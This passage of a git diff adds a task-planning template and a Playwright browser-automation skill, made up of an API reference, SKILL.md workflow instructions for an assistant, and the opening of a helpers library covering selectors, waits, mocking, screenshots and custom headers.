after completing each phase or encountering errors* diff --git a/skills/planning-with-files/templates/task_plan.md b/skills/planning-with-files/templates/task_plan.md new file mode 100644 index 00000000..cc858964 --- /dev/null +++ b/skills/planning-with-files/templates/task_plan.md @@ -0,0 +1,132 @@ +# Task Plan: [Brief Description] +<!-- + WHAT: This is your roadmap for the entire task. Think of it as your "working memory on disk." + WHY: After 50+ tool calls, your original goals can get forgotten. This file keeps them fresh. + WHEN: Create this FIRST, before starting any work. Update after each phase completes. +--> + +## Goal +<!-- + WHAT: One clear sentence describing what you're trying to achieve. + WHY: This is your north star. Re-reading this keeps you focused on the end state. + EXAMPLE: "Create a Python CLI todo app with add, list, and delete functionality." +--> +[One sentence describing the end state] + +## Current Phase +<!-- + WHAT: Which phase you're currently working on (e.g., "Phase 1", "Phase 3"). + WHY: Quick reference for where you are in the task. Update this as you progress. +--> +Phase 1 + +## Phases +<!-- + WHAT: Break your task into 3-7 logical phases. Each phase should be completable. + WHY: Breaking work into phases prevents overwhelm and makes progress visible. + WHEN: Update status after completing each phase: pending → in_progress → complete +--> + +### Phase 1: Requirements & Discovery +<!-- + WHAT: Understand what needs to be done and gather initial information. + WHY: Starting without understanding leads to wasted effort. This phase prevents that. +--> +- [ ] Understand user intent +- [ ] Identify constraints and requirements +- [ ] Document findings in findings.md +- **Status:** in_progress +<!-- + STATUS VALUES: + - pending: Not started yet + - in_progress: Currently working on this + - complete: Finished this phase +--> + +### Phase 2: Planning & Structure +<!-- + WHAT: Decide how you'll approach the problem and what structure you'll use. + WHY: Good planning prevents rework. Document decisions so you remember why you chose them. +--> +- [ ] Define technical approach +- [ ] Create project structure if needed +- [ ] Document decisions with rationale +- **Status:** pending + +### Phase 3: Implementation +<!-- + WHAT: Actually build/create/write the solution. + WHY: This is where the work happens. Break into smaller sub-tasks if needed. +--> +- [ ] Execute the plan step by step +- [ ] Write code to files before executing +- [ ] Test incrementally +- **Status:** pending + +### Phase 4: Testing & Verification +<!-- + WHAT: Verify everything works and meets requirements. + WHY: Catching issues early saves time. Document test results in progress.md. +--> +- [ ] Verify all requirements met +- [ ] Document test results in progress.md +- [ ] Fix any issues found +- **Status:** pending + +### Phase 5: Delivery +<!-- + WHAT: Final review and handoff to user. + WHY: Ensures nothing is forgotten and deliverables are complete. +--> +- [ ] Review all output files +- [ ] Ensure deliverables are complete +- [ ] Deliver to user +- **Status:** pending + +## Key Questions +<!-- + WHAT: Important questions you need to answer during the task. + WHY: These guide your research and decision-making. Answer them as you go. + EXAMPLE: + 1. Should tasks persist between sessions? (Yes - need file storage) + 2. What format for storing tasks? (JSON file) +--> +1. [Question to answer] +2. [Question to answer] + +## Decisions Made +<!-- + WHAT: Technical and design decisions you've made, with the reasoning behind them. + WHY: You'll forget why you made choices. This table helps you remember and justify decisions. + WHEN: Update whenever you make a significant choice (technology, approach, structure). + EXAMPLE: + | Use JSON for storage | Simple, human-readable, built-in Python support | +--> +| Decision | Rationale | +|----------|-----------| +| | | + +## Errors Encountered +<!-- + WHAT: Every error you encounter, what attempt number it was, and how you resolved it. + WHY: Logging errors prevents repeating the same mistakes. This is critical for learning. + WHEN: Add immediately when an error occurs, even if you fix it quickly. + EXAMPLE: + | FileNotFoundError | 1 | Check if file exists, create empty list if not | + | JSONDecodeError | 2 | Handle empty file case explicitly | +--> +| Error | Attempt | Resolution | +|-------|---------|------------| +| | 1 | | + +## Notes +<!-- + REMINDERS: + - Update phase status as you progress: pending → in_progress → complete + - Re-read this plan before major decisions (attention manipulation) + - Log ALL errors - they help avoid repetition + - Never repeat a failed action - mutate your approach instead +--> +- Update phase status as you progress: pending → in_progress → complete +- Re-read this plan before major decisions (attention manipulation) +- Log ALL errors - they help avoid repetition diff --git a/skills/playwright-skill/API_REFERENCE.md b/skills/playwright-skill/API_REFERENCE.md new file mode 100644 index 00000000..9ee2975f --- /dev/null +++ b/skills/playwright-skill/API_REFERENCE.md @@ -0,0 +1,653 @@ +# Playwright Skill - Complete API Reference + +This document contains the comprehensive Playwright API reference and advanced patterns. For quick-start execution patterns, see [SKILL.md](SKILL.md). + +## Table of Contents + +- [Installation & Setup](#installation--setup) +- [Core Patterns](#core-patterns) +- [Selectors & Locators](#selectors--locators) +- [Common Actions](#common-actions) +- [Waiting Strategies](#waiting-strategies) +- [Assertions](#assertions) +- [Page Object Model](#page-object-model-pom) +- [Network & API Testing](#network--api-testing) +- [Authentication & Session Management](#authentication--session-management) +- [Visual Testing](#visual-testing) +- [Mobile Testing](#mobile-testing) +- [Debugging](#debugging) +- [Performance Testing](#performance-testing) +- [Parallel Execution](#parallel-execution) +- [Data-Driven Testing](#data-driven-testing) +- [Accessibility Testing](#accessibility-testing) +- [CI/CD Integration](#cicd-integration) +- [Best Practices](#best-practices) +- [Common Patterns & Solutions](#common-patterns--solutions) +- [Troubleshooting](#troubleshooting) + +## Installation & Setup + +### Prerequisites + +Before using this skill, ensure Playwright is available: + +```bash +# Check if Playwright is installed +npm list playwright 2>/dev/null || echo "Playwright not installed" + +# Install (if needed) +cd ~/.claude/skills/playwright-skill +npm run setup +``` + +### Basic Configuration + +Create `playwright.config.ts`: + +```typescript +import { defineConfig, devices } from '@playwright/test'; + +export default defineConfig({ + testDir: './tests', + fullyParallel: true, + forbidOnly: !!process.env.CI, + retries: process.env.CI ? 2 : 0, + workers: process.env.CI ? 1 : undefined, + reporter: 'html', + use: { + baseURL: 'http://localhost:3000', + trace: 'on-first-retry', + screenshot: 'only-on-failure', + video: 'retain-on-failure', + }, + projects: [ + { + name: 'chromium', + use: { ...devices['Desktop Chrome'] }, + }, + ], + webServer: { + command: 'npm run start', + url: 'http://localhost:3000', + reuseExistingServer: !process.env.CI, + }, +}); +``` + +## Core Patterns + +### Basic Browser Automation + +```javascript +const { chromium } = require('playwright'); + +(async () => { + // Launch browser + const browser = await chromium.launch({ + headless: false, // Set to true for headless mode + slowMo: 50 // Slow down operations by 50ms + }); + + const context = await browser.newContext({ + viewport: { width: 1280, height: 720 }, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' + }); + + const page = await context.newPage(); + + // Navigate + await page.goto('https://example.com', { + waitUntil: 'networkidle' // Wait for network to be idle + }); + + // Your automation here + + await browser.close(); +})(); +``` + +### Test Structure + +```typescript +import { test, expect } from '@playwright/test'; + +test.describe('Feature Name', () => { + test.beforeEach(async ({ page }) => { + await page.goto('/'); + }); + + test('should do something', async ({ page }) => { + // Arrange + const button = page.locator('button[data-testid="submit"]'); + + // Act + await button.click(); + + // Assert + await expect(page).toHaveURL('/success'); + await expect(page.locator('.message')).toHaveText('Success!'); + }); +}); +``` + +## Selectors & Locators + +### Best Practices for Selectors + +```javascript +// PREFERRED: Data attributes (most stable) +await page.locator('[data-testid="submit-button"]').click(); +await page.locator('[data-cy="user-input"]').fill('text'); + +// GOOD: Role-based selectors (accessible) +await page.getByRole('button', { name: 'Submit' }).click(); +await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com'); +await page.getByRole('heading', { level: 1 }).click(); + +// GOOD: Text content (for unique text) +await page.getByText('Sign in').click(); +await page.getByText(/welcome back/i).click(); + +// OK: Semantic HTML +await page.locator('button[type="submit"]').click(); +await page.locator('input[name="email"]').fill('test@test.com'); + +// AVOID: Classes and IDs (can change frequently) +await page.locator('.btn-primary').click(); // Avoid +await page.locator('#submit').click(); // Avoid + +// LAST RESORT: Complex CSS/XPath +await page.locator('div.container > form > button').click(); // Fragile +``` + +### Advanced Locator Patterns + +```javascript +// Filter and chain locators +const row = page.locator('tr').filter({ hasText: 'John Doe' }); +await row.locator('button').click(); + +// Nth element +await page.locator('button').nth(2).click(); + +// Combining conditions +await page.locator('button').and(page.locator('[disabled]')).count(); + +// Parent/child navigation +const cell = page.locator('td').filter({ hasText: 'Active' }); +const row = cell.locator('..'); +await row.locator('button.edit').click(); +``` + +## Common Actions + +### Form Interactions + +```javascript +// Text input +await page.getByLabel('Email').fill('user@example.com'); +await page.getByPlaceholder('Enter your name').fill('John Doe'); + +// Clear and type +await page.locator('#username').clear(); +await page.locator('#username').type('newuser', { delay: 100 }); + +// Checkbox +await page.getByLabel('I agree').check(); +await page.getByLabel('Subscribe').uncheck(); + +// Radio button +await page.getByLabel('Option 2').check(); + +// Select dropdown +await page.selectOption('select#country', 'usa'); +await page.selectOption('select#country', { label: 'United States' }); +await page.selectOption('select#country', { index: 2 }); + +// Multi-select +await page.selectOption('select#colors', ['red', 'blue', 'green']); + +// File upload +await page.setInputFiles('input[type="file"]', 'path/to/file.pdf'); +await page.setInputFiles('input[type="file"]', [ + 'file1.pdf', + 'file2.pdf' +]); +``` + +### Mouse Actions + +```javascript +// Click variations +await page.click('button'); // Left click +await page.click('button', { button: 'right' }); // Right click +await page.dblclick('button'); // Double click +await page.click('button', { position: { x: 10, y: 10 } }); // Click at position + +// Hover +await page.hover('.menu-item'); + +// Drag and drop +await page.dragAndDrop('#source', '#target'); + +// Manual drag +await page.locator('#source').hover(); +await page.mouse.down(); +await page.locator('#target').hover(); +await page.mouse.up(); +``` + +### Keyboard Actions + +```javascript +// Type with delay +await page.keyboard.type('Hello World', { delay: 100 }); + +// Key combinations +await page.keyboard.press('Control+A'); +await page.keyboard.press('Control+C'); +await page.keyboard.press('Control+V'); + +// Special keys +await page.keyboard.press('Enter'); +await page.keyboard.press('Tab'); +await page.keyboard.press('Escape'); +await page.keyboard.press('ArrowDown'); +``` + +## Waiting Strategies + +### Smart Waiting + +```javascript +// Wait for element states +await page.locator('button').waitFor({ state: 'visible' }); +await page.locator('.spinner').waitFor({ state: 'hidden' }); +await page.locator('button').waitFor({ state: 'attached' }); +await page.locator('button').waitFor({ state: 'detached' }); + +// Wait for specific conditions +await page.waitForURL('**/success'); +await page.waitForURL(url => url.pathname === '/dashboard'); + +// Wait for network +await page.waitForLoadState('networkidle'); +await page.waitForLoadState('domcontentloaded'); + +// Wait for function +await page.waitForFunction(() => document.querySelector('.loaded')); +await page.waitForFunction( + text => document.body.innerText.includes(text), + 'Content loaded' +); + +// Wait for response +const responsePromise = page.waitForResponse('**/api/users'); +await page.click('button#load-users'); +const response = await responsePromise; + +// Wait for request +await page.waitForRequest(request => + request.url().includes('/api/') && request.method() === 'POST' +); + +// Custom timeout +await page.locator('.slow-element').waitFor({ + state: 'visible', + timeout: 10000 // 10 seconds +}); +``` + +## Assertions + +### Common Assertions + +```javascript +import { expect } from '@playwright/test'; + +// Page assertions +await expect(page).toHaveTitle('My App'); +await expect(page).toHaveURL('https://example.com/dashboard'); +await expect(page).toHaveURL(/.*dashboard/); + +// Element visibility +await expect(page.locator('.message')).toBeVisible(); +await expect(page.locator('.spinner')).toBeHidden(); +await expect(page.locator('button')).toBeEnabled(); +await expect(page.locator('input')).toBeDisabled(); + +// Text content +await expect(page.locator('h1')).toHaveText('Welcome'); +await expect(page.locator('.message')).toContainText('success'); +await expect(page.locator('.items')).toHaveText(['Item 1', 'Item 2']); + +// Input values +await expect(page.locator('input')).toHaveValue('test@example.com'); +await expect(page.locator('input')).toBeEmpty(); + +// Attributes +await expect(page.locator('button')).toHaveAttribute('type', 'submit'); +await expect(page.locator('img')).toHaveAttribute('src', /.*\.png/); + +// CSS properties +await expect(page.locator('.error')).toHaveCSS('color', 'rgb(255, 0, 0)'); + +// Count +await expect(page.locator('.item')).toHaveCount(5); + +// Checkbox/Radio state +await expect(page.locator('input[type="checkbox"]')).toBeChecked(); +``` + +## Page Object Model (POM) + +### Basic Page Object + +```javascript +// pages/LoginPage.js +class LoginPage { + constructor(page) { + this.page = page; + this.usernameInput = page.locator('input[name="username"]'); + this.passwordInput = page.locator('input[name="password"]'); + this.submitButton = page.locator('button[type="submit"]'); + this.errorMessage = page.locator('.error-message'); + } + + async navigate() { + await this.page.goto('/login'); + } + + async login(username, password) { + await this.usernameInput.fill(username); + await this.passwordInput.fill(password); + await this.submitButton.click(); + } + + async getErrorMessage() { + return await this.errorMessage.textContent(); + } +} + +// Usage in test +test('login with valid credentials', async ({ page }) => { + const loginPage = new LoginPage(page); + await loginPage.navigate(); + await loginPage.login('user@example.com', 'password123'); + await expect(page).toHaveURL('/dashboard'); +}); +``` + +## Network & API Testing + +### Intercepting Requests + +```javascript +// Mock API responses +await page.route('**/api/users', route => { + route.fulfill({ + status: 200, + contentType: 'application/json', + body: JSON.stringify([ + { id: 1, name: 'John' }, + { id: 2, name: 'Jane' } + ]) + }); +}); + +// Modify requests +await page.route('**/api/**', route => { + const headers = { + ...route.request().headers(), + 'X-Custom-Header': 'value' + }; + route.continue({ headers }); +}); + +// Block resources +await page.route('**/*.{png,jpg,jpeg,gif}', route => route.abort()); +``` + +### Custom Headers via Environment Variables + +The skill supports automatic header injection via environment variables: + +```bash +# Single header (simple) +PW_HEADER_NAME=X-Automated-By PW_HEADER_VALUE=playwright-skill + +# Multiple headers (JSON) +PW_EXTRA_HEADERS='{"X-Automated-By":"playwright-skill","X-Request-ID":"123"}' +``` + +These headers are automatically applied to all requests when using: +- `helpers.createContext(browser)` - headers merged automatically +- `getContextOptionsWithHeaders(options)` - utility injected by run.js wrapper + +**Precedence (highest to lowest):** +1. Headers passed directly in `options.extraHTTPHeaders` +2. Environment variable headers +3. Playwright defaults + +**Use case:** Identify automated traffic so your backend can return LLM-optimized responses (e.g., plain text errors instead of styled HTML). + +## Visual Testing + +### Screenshots + +```javascript +// Full page screenshot +await page.screenshot({ + path: 'screenshot.png', + fullPage: true +}); + +// Element screenshot +await page.locator('.chart').screenshot({ + path: 'chart.png' +}); + +// Visual comparison +await expect(page).toHaveScreenshot('homepage.png'); +``` + +## Mobile Testing + +```javascript +// Device emulation +const { devices } = require('playwright'); +const iPhone = devices['iPhone 12']; + +const context = await browser.newContext({ + ...iPhone, + locale: 'en-US', + permissions: ['geolocation'], + geolocation: { latitude: 37.7749, longitude: -122.4194 } +}); +``` + +## Debugging + +### Debug Mode + +```bash +# Run with inspector +npx playwright test --debug + +# Headed mode +npx playwright test --headed + +# Slow motion +npx playwright test --headed --slowmo=1000 +``` + +### In-Code Debugging + +```javascript +// Pause execution +await page.pause(); + +// Console logs +page.on('console', msg => console.log('Browser log:', msg.text())); +page.on('pageerror', error => console.log('Page error:', error)); +``` + +## Performance Testing + +```javascript +// Measure page load time +const startTime = Date.now(); +await page.goto('https://example.com'); +const loadTime = Date.now() - startTime; +console.log(`Page loaded in ${loadTime}ms`); +``` + +## Parallel Execution + +```javascript +// Run tests in parallel +test.describe.parallel('Parallel suite', () => { + test('test 1', async ({ page }) => { + // Runs in parallel with test 2 + }); + + test('test 2', async ({ page }) => { + // Runs in parallel with test 1 + }); +}); +``` + +## Data-Driven Testing + +```javascript +// Parameterized tests +const testData = [ + { username: 'user1', password: 'pass1', expected: 'Welcome user1' }, + { username: 'user2', password: 'pass2', expected: 'Welcome user2' }, +]; + +testData.forEach(({ username, password, expected }) => { + test(`login with ${username}`, async ({ page }) => { + await page.goto('/login'); + await page.fill('#username', username); + await page.fill('#password', password); + await page.click('button[type="submit"]'); + await expect(page.locator('.message')).toHaveText(expected); + }); +}); +``` + +## Accessibility Testing + +```javascript +import { injectAxe, checkA11y } from 'axe-playwright'; + +test('accessibility check', async ({ page }) => { + await page.goto('/'); + await injectAxe(page); + await checkA11y(page); +}); +``` + +## CI/CD Integration + +### GitHub Actions + +```yaml +name: Playwright Tests +on: + push: + branches: [main, master] +jobs: + test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: actions/setup-node@v3 + - name: Install dependencies + run: npm ci + - name: Install Playwright Browsers + run: npx playwright install --with-deps + - name: Run tests + run: npx playwright test +``` + +## Best Practices + +1. **Test Organization** - Use descriptive test names, group related tests +2. **Selector Strategy** - Prefer data-testid attributes, use role-based selectors +3. **Waiting** - Use Playwright's auto-waiting, avoid hard-coded delays +4. **Error Handling** - Add proper error messages, take screenshots on failure +5. **Performance** - Run tests in parallel, reuse authentication state + +## Common Patterns & Solutions + +### Handling Popups + +```javascript +const [popup] = await Promise.all([ + page.waitForEvent('popup'), + page.click('button.open-popup') +]); +await popup.waitForLoadState(); +``` + +### File Downloads + +```javascript +const [download] = await Promise.all([ + page.waitForEvent('download'), + page.click('button.download') +]); +await download.saveAs(`./downloads/${download.suggestedFilename()}`); +``` + +### iFrames + +```javascript +const frame = page.frameLocator('#my-iframe'); +await frame.locator('button').click(); +``` + +### Infinite Scroll + +```javascript +async function scrollToBottom(page) { + await page.evaluate(() => window.scrollTo(0, document.body.scrollHeight)); + await page.waitForTimeout(500); +} +``` + +## Troubleshooting + +### Common Issues + +1. **Element not found** - Check if element is in iframe, verify visibility +2. **Timeout errors** - Increase timeout, check network conditions +3. **Flaky tests** - Use proper waiting strategies, mock external dependencies +4. **Authentication issues** - Verify auth state is properly saved + +## Quick Reference Commands + +```bash +# Run tests +npx playwright test + +# Run in headed mode +npx playwright test --headed + +# Debug tests +npx playwright test --debug + +# Generate code +npx playwright codegen https://example.com + +# Show report +npx playwright show-report +``` + +## Additional Resources + +- [Playwright Documentation](https://playwright.dev/docs/intro) +- [API Reference](https://playwright.dev/docs/api/class-playwright) +- [Best Practices](https://playwright.dev/docs/best-practices) diff --git a/skills/playwright-skill/SKILL.md b/skills/playwright-skill/SKILL.md new file mode 100644 index 00000000..98c82145 --- /dev/null +++ b/skills/playwright-skill/SKILL.md @@ -0,0 +1,453 @@ +--- +name: playwright-skill +description: Complete browser automation with Playwright. Auto-detects dev servers, writes clean test scripts to /tmp. Test pages, fill forms, take screenshots, check responsive design, validate UX, test login flows, check links, automate any browser task. Use when user wants to test websites, automate browser interactions, validate web functionality, or perform any browser-based testing. +--- + +**IMPORTANT - Path Resolution:** +This skill can be installed in different locations (plugin system, manual installation, global, or project-specific). Before executing any commands, determine the skill directory based on where you loaded this SKILL.md file, and use that path in all commands below. Replace `$SKILL_DIR` with the actual discovered path. + +Common installation paths: + +- Plugin system: `~/.claude/plugins/marketplaces/playwright-skill/skills/playwright-skill` +- Manual global: `~/.claude/skills/playwright-skill` +- Project-specific: `<project>/.claude/skills/playwright-skill` + +# Playwright Browser Automation + +General-purpose browser automation skill. I'll write custom Playwright code for any automation task you request and execute it via the universal executor. + +**CRITICAL WORKFLOW - Follow these steps in order:** + +1. **Auto-detect dev servers** - For localhost testing, ALWAYS run server detection FIRST: + + ```bash + cd $SKILL_DIR && node -e "require('./lib/helpers').detectDevServers().then(servers => console.log(JSON.stringify(servers)))" + ``` + + - If **1 server found**: Use it automatically, inform user + - If **multiple servers found**: Ask user which one to test + - If **no servers found**: Ask for URL or offer to help start dev server + +2. **Write scripts to /tmp** - NEVER write test files to skill directory; always use `/tmp/playwright-test-*.js` + +3. **Use visible browser by default** - Always use `headless: false` unless user specifically requests headless mode + +4. **Parameterize URLs** - Always make URLs configurable via environment variable or constant at top of script + +## How It Works + +1. You describe what you want to test/automate +2. I auto-detect running dev servers (or ask for URL if testing external site) +3. I write custom Playwright code in `/tmp/playwright-test-*.js` (won't clutter your project) +4. I execute it via: `cd $SKILL_DIR && node run.js /tmp/playwright-test-*.js` +5. Results displayed in real-time, browser window visible for debugging +6. Test files auto-cleaned from /tmp by your OS + +## Setup (First Time) + +```bash +cd $SKILL_DIR +npm run setup +``` + +This installs Playwright and Chromium browser. Only needed once. + +## Execution Pattern + +**Step 1: Detect dev servers (for localhost testing)** + +```bash +cd $SKILL_DIR && node -e "require('./lib/helpers').detectDevServers().then(s => console.log(JSON.stringify(s)))" +``` + +**Step 2: Write test script to /tmp with URL parameter** + +```javascript +// /tmp/playwright-test-page.js +const { chromium } = require('playwright'); + +// Parameterized URL (detected or user-provided) +const TARGET_URL = 'http://localhost:3001'; // <-- Auto-detected or from user + +(async () => { + const browser = await chromium.launch({ headless: false }); + const page = await browser.newPage(); + + await page.goto(TARGET_URL); + console.log('Page loaded:', await page.title()); + + await page.screenshot({ path: '/tmp/screenshot.png', fullPage: true }); + console.log('📸 Screenshot saved to /tmp/screenshot.png'); + + await browser.close(); +})(); +``` + +**Step 3: Execute from skill directory** + +```bash +cd $SKILL_DIR && node run.js /tmp/playwright-test-page.js +``` + +## Common Patterns + +### Test a Page (Multiple Viewports) + +```javascript +// /tmp/playwright-test-responsive.js +const { chromium } = require('playwright'); + +const TARGET_URL = 'http://localhost:3001'; // Auto-detected + +(async () => { + const browser = await chromium.launch({ headless: false, slowMo: 100 }); + const page = await browser.newPage(); + + // Desktop test + await page.setViewportSize({ width: 1920, height: 1080 }); + await page.goto(TARGET_URL); + console.log('Desktop - Title:', await page.title()); + await page.screenshot({ path: '/tmp/desktop.png', fullPage: true }); + + // Mobile test + await page.setViewportSize({ width: 375, height: 667 }); + await page.screenshot({ path: '/tmp/mobile.png', fullPage: true }); + + await browser.close(); +})(); +``` + +### Test Login Flow + +```javascript +// /tmp/playwright-test-login.js +const { chromium } = require('playwright'); + +const TARGET_URL = 'http://localhost:3001'; // Auto-detected + +(async () => { + const browser = await chromium.launch({ headless: false }); + const page = await browser.newPage(); + + await page.goto(`${TARGET_URL}/login`); + + await page.fill('input[name="email"]', 'test@example.com'); + await page.fill('input[name="password"]', 'password123'); + await page.click('button[type="submit"]'); + + // Wait for redirect + await page.waitForURL('**/dashboard'); + console.log('✅ Login successful, redirected to dashboard'); + + await browser.close(); +})(); +``` + +### Fill and Submit Form + +```javascript +// /tmp/playwright-test-form.js +const { chromium } = require('playwright'); + +const TARGET_URL = 'http://localhost:3001'; // Auto-detected + +(async () => { + const browser = await chromium.launch({ headless: false, slowMo: 50 }); + const page = await browser.newPage(); + + await page.goto(`${TARGET_URL}/contact`); + + await page.fill('input[name="name"]', 'John Doe'); + await page.fill('input[name="email"]', 'john@example.com'); + await page.fill('textarea[name="message"]', 'Test message'); + await page.click('button[type="submit"]'); + + // Verify submission + await page.waitForSelector('.success-message'); + console.log('✅ Form submitted successfully'); + + await browser.close(); +})(); +``` + +### Check for Broken Links + +```javascript +const { chromium } = require('playwright'); + +(async () => { + const browser = await chromium.launch({ headless: false }); + const page = await browser.newPage(); + + await page.goto('http://localhost:3000'); + + const links = await page.locator('a[href^="http"]').all(); + const results = { working: 0, broken: [] }; + + for (const link of links) { + const href = await link.getAttribute('href'); + try { + const response = await page.request.head(href); + if (response.ok()) { + results.working++; + } else { + results.broken.push({ url: href, status: response.status() }); + } + } catch (e) { + results.broken.push({ url: href, error: e.message }); + } + } + + console.log(`✅ Working links: ${results.working}`); + console.log(`❌ Broken links:`, results.broken); + + await browser.close(); +})(); +``` + +### Take Screenshot with Error Handling + +```javascript +const { chromium } = require('playwright'); + +(async () => { + const browser = await chromium.launch({ headless: false }); + const page = await browser.newPage(); + + try { + await page.goto('http://localhost:3000', { + waitUntil: 'networkidle', + timeout: 10000, + }); + + await page.screenshot({ + path: '/tmp/screenshot.png', + fullPage: true, + }); + + console.log('📸 Screenshot saved to /tmp/screenshot.png'); + } catch (error) { + console.error('❌ Error:', error.message); + } finally { + await browser.close(); + } +})(); +``` + +### Test Responsive Design + +```javascript +// /tmp/playwright-test-responsive-full.js +const { chromium } = require('playwright'); + +const TARGET_URL = 'http://localhost:3001'; // Auto-detected + +(async () => { + const browser = await chromium.launch({ headless: false }); + const page = await browser.newPage(); + + const viewports = [ + { name: 'Desktop', width: 1920, height: 1080 }, + { name: 'Tablet', width: 768, height: 1024 }, + { name: 'Mobile', width: 375, height: 667 }, + ]; + + for (const viewport of viewports) { + console.log( + `Testing ${viewport.name} (${viewport.width}x${viewport.height})`, + ); + + await page.setViewportSize({ + width: viewport.width, + height: viewport.height, + }); + + await page.goto(TARGET_URL); + await page.waitForTimeout(1000); + + await page.screenshot({ + path: `/tmp/${viewport.name.toLowerCase()}.png`, + fullPage: true, + }); + } + + console.log('✅ All viewports tested'); + await browser.close(); +})(); +``` + +## Inline Execution (Simple Tasks) + +For quick one-off tasks, you can execute code inline without creating files: + +```bash +# Take a quick screenshot +cd $SKILL_DIR && node run.js " +const browser = await chromium.launch({ headless: false }); +const page = await browser.newPage(); +await page.goto('http://localhost:3001'); +await page.screenshot({ path: '/tmp/quick-screenshot.png', fullPage: true }); +console.log('Screenshot saved'); +await browser.close(); +" +``` + +**When to use inline vs files:** + +- **Inline**: Quick one-off tasks (screenshot, check if element exists, get page title) +- **Files**: Complex tests, responsive design checks, anything user might want to re-run + +## Available Helpers + +Optional utility functions in `lib/helpers.js`: + +```javascript +const helpers = require('./lib/helpers'); + +// Detect running dev servers (CRITICAL - use this first!) +const servers = await helpers.detectDevServers(); +console.log('Found servers:', servers); + +// Safe click with retry +await helpers.safeClick(page, 'button.submit', { retries: 3 }); + +// Safe type with clear +await helpers.safeType(page, '#username', 'testuser'); + +// Take timestamped screenshot +await helpers.takeScreenshot(page, 'test-result'); + +// Handle cookie banners +await helpers.handleCookieBanner(page); + +// Extract table data +const data = await helpers.extractTableData(page, 'table.results'); +``` + +See `lib/helpers.js` for full list. + +## Custom HTTP Headers + +Configure custom headers for all HTTP requests via environment variables. Useful for: + +- Identifying automated traffic to your backend +- Getting LLM-optimized responses (e.g., plain text errors instead of styled HTML) +- Adding authentication tokens globally + +### Configuration + +**Single header (common case):** + +```bash +PW_HEADER_NAME=X-Automated-By PW_HEADER_VALUE=playwright-skill \ + cd $SKILL_DIR && node run.js /tmp/my-script.js +``` + +**Multiple headers (JSON format):** + +```bash +PW_EXTRA_HEADERS='{"X-Automated-By":"playwright-skill","X-Debug":"true"}' \ + cd $SKILL_DIR && node run.js /tmp/my-script.js +``` + +### How It Works + +Headers are automatically applied when using `helpers.createContext()`: + +```javascript +const context = await helpers.createContext(browser); +const page = await context.newPage(); +// All requests from this page include your custom headers +``` + +For scripts using raw Playwright API, use the injected `getContextOptionsWithHeaders()`: + +```javascript +const context = await browser.newContext( + getContextOptionsWithHeaders({ viewport: { width: 1920, height: 1080 } }), +); +``` + +## Advanced Usage + +For comprehensive Playwright API documentation, see [API_REFERENCE.md](API_REFERENCE.md): + +- Selectors & Locators best practices +- Network interception & API mocking +- Authentication & session management +- Visual regression testing +- Mobile device emulation +- Performance testing +- Debugging techniques +- CI/CD integration + +## Tips + +- **CRITICAL: Detect servers FIRST** - Always run `detectDevServers()` before writing test code for localhost testing +- **Custom headers** - Use `PW_HEADER_NAME`/`PW_HEADER_VALUE` env vars to identify automated traffic to your backend +- **Use /tmp for test files** - Write to `/tmp/playwright-test-*.js`, never to skill directory or user's project +- **Parameterize URLs** - Put detected/provided URL in a `TARGET_URL` constant at the top of every script +- **DEFAULT: Visible browser** - Always use `headless: false` unless user explicitly asks for headless mode +- **Headless mode** - Only use `headless: true` when user specifically requests "headless" or "background" execution +- **Slow down:** Use `slowMo: 100` to make actions visible and easier to follow +- **Wait strategies:** Use `waitForURL`, `waitForSelector`, `waitForLoadState` instead of fixed timeouts +- **Error handling:** Always use try-catch for robust automation +- **Console output:** Use `console.log()` to track progress and show what's happening + +## Troubleshooting + +**Playwright not installed:** + +```bash +cd $SKILL_DIR && npm run setup +``` + +**Module not found:** +Ensure running from skill directory via `run.js` wrapper + +**Browser doesn't open:** +Check `headless: false` and ensure display available + +**Element not found:** +Add wait: `await page.waitForSelector('.element', { timeout: 10000 })` + +## Example Usage + +``` +User: "Test if the marketing page looks good" + +Claude: I'll test the marketing page across multiple viewports. Let me first detect running servers... +[Runs: detectDevServers()] +[Output: Found server on port 3001] +I found your dev server running on http://localhost:3001 + +[Writes custom automation script to /tmp/playwright-test-marketing.js with URL parameterized] +[Runs: cd $SKILL_DIR && node run.js /tmp/playwright-test-marketing.js] +[Shows results with screenshots from /tmp/] +``` + +``` +User: "Check if login redirects correctly" + +Claude: I'll test the login flow. First, let me check for running servers... +[Runs: detectDevServers()] +[Output: Found servers on ports 3000 and 3001] +I found 2 dev servers. Which one should I test? +- http://localhost:3000 +- http://localhost:3001 + +User: "Use 3001" + +[Writes login automation to /tmp/playwright-test-login.js] +[Runs: cd $SKILL_DIR && node run.js /tmp/playwright-test-login.js] +[Reports: ✅ Login successful, redirected to /dashboard] +``` + +## Notes + +- Each automation is custom-written for your specific request +- Not limited to pre-built scripts - any browser task possible +- Auto-detects running dev servers to eliminate hardcoded URLs +- Test scripts written to `/tmp` for automatic cleanup (no clutter) +- Code executes reliably with proper module resolution via `run.js` +- Progressive disclosure - API_REFERENCE.md loaded only when advanced features needed diff --git a/skills/playwright-skill/lib/helpers.js b/skills/playwright-skill/lib/helpers.js new file mode 100644 index 00000000..0920d68a --- /dev/null +++ b/skills/playwright-skill/lib/helpers.js @@ -0,0 +1,441 @@ +// playwright-helpers.js +// Reusable utility functions for Playwright automation + +const { chromium, firefox, webkit } = require('playwright'); + +/** + * Parse extra HTTP headers from environment variables. + * Supports two formats: + * - PW_HEADER_NAME + PW_HEADER_VALUE: Single header (simple, common case) + * - PW_EXTRA_HEADERS: JSON object for multiple headers (advanced) + * Single header format takes precedence if both are set. + * @returns {Object|null} Headers object or null if none configured + */ +function getExtraHeadersFromEnv() { + const headerName = process.env.PW_HEADER_NAME; + const headerValue = process.env.PW_HEADER_VALUE; + + if (headerName && headerValue) { + return { [headerName]: headerValue }; + } + + const headersJson = process.env.PW_EXTRA_HEADERS; + if (headersJson) { + try { + const parsed = JSON.parse(headersJson); + if (typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed)) { + return parsed; + } + console.warn('PW_EXTRA_HEADERS must be a JSON object, ignoring...'); + } catch (e) { + console.warn('Failed to parse PW_EXTRA_HEADERS as JSON:', e.message); + } + } + + return null; +} + +/** + * Launch browser with standard configuration + * @param {string} browserType - 'chromium', 'firefox', or 'webkit' + * @param {Object} options - Additional launch options + */ +async function launchBrowser(browserType = 'chromium', options = {}) { + const defaultOptions = { + headless: process.env.HEADLESS !== 'false', + slowMo: process.env.SLOW_MO ? 